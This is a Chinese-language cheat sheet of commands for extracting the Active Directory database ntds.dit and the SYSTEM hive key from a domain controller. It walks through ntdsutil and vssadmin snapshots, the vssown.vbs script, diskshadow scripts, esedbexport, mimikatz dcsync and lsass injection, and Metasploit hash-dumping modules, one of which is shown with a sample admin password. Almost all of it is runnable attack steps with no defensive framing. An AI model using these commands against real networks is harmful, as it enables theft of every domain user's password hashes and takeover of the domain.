域控制器安全
域控制器安全
使用卷影拷贝服务提取ntds.dit
在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit
ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
通过ntdsutil.exe提取ntds.dit
ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。
该工具默认安装在域控上,使用以下命令创建一个快照,该快照包含 Windows 中的所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。
创建快照:
该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的影响
ntdsutil snapshot "activate instance ntds" create quit quit
注:要以域管理员用户登陆域控
挂载快照:
ntdsutil snapshot "mount {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit
复制ntds.dit:
copy C:\\$SNAP_202104180958_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
卸载并删除快照:
ntdsutil snapshot "unmount {b425cef1-c73c-4be5-ad86-522c27a18180}" "delete {b425cef1-c73c-4be5-ad86-522c27a18180}" quit quit
利用vssadmin提取ntds.dit
vssadmin 可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的 “diff 空间”)的大小等。
创建C盘的卷影拷贝:
vssadmin create shadow /for=c:
在创建的卷影拷贝中将ntds.dit复制出来:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\\ntds.dit
删除快照:
vssadmin delete shadows /for=c: /quiet
利用vssown.vbs脚本提取ntds.dit
vssown.vbs 脚本的功能和 vssadmin 类似,可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。
vssown.vbs 下载地址: https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
启动卷影拷贝服务:
cscript vssown.vbs /start
创建一个 C 盘的卷影拷贝:
cscript vssown.vbs /create c
列出当前卷影拷贝:
cscript vssown.vbs /list
复制 ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\windows\NTDS\ntds.dit C:\ntds.dit
删除卷影拷贝:
cscript vssown.vbs /delete {22B93FE6-D53A-4ECA-BD5A-7A2A68203EF8}
IFM
通过创建一个 IFM 的方式获取 ntds.dit
在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。
使用diskshadow导出ndts.dit
可以使用diskshadow.exe来执行命令。
例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件
echo exec c:\\windows\\system32\\calc.exe \> command.txt
type command.txt
使用diskshadow执行txt中的命令
diskshadow /s command.txt
diskshadow也可以用来导出ntds.dit,将如下命令写入一个文件中去执行
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% z:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//退出
reset
exit
执行如下命令,注意这里需要进入C:\Windows\System32目录下执行,否则会报错
diskshadow /s C:\\command.txt
导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit中的信息
reg save hklm\\system c:\\windows\\temp\\system.hive
导出ntds.dit中的散列值
esedbexport
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
此时表示安装成功
esedbexport -m tables ntds.dit
mimikatz
mimikatz 有个 dcsync 的功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件,不过需要管理员权限。
导出域内所有用户的用户名和哈希值
lsadump::dcsync /domain:teamssix.com /all /csv
导出域内指定用户的用户名和哈希值
lsadump::dcsync /domain:teamssix.com /user:administrator
也可以通过转储 lsass.exe 进行 dump 操作
privilege::debug
lsadump::lsa /inject
msf
msf 里的 psexec_ntdsgrab 可以获取目标的 ntds.dit 和 SYSTEM 并将其保存到 /root/.msf4/loot/ 目录下
use auxiliary/admin/smb/psexec_ntdsgrab
set rhosts 192.168.7.7
set smbdomain teamssix.com
set smbuser administrator
set smbpass 1qaz@WSX
run
除此之外,在获取到会话后,也可以直接用 MSF 提供的模块获取 ntds.dit
use windows/gather/credentials/domain_hashdump
set session 1
run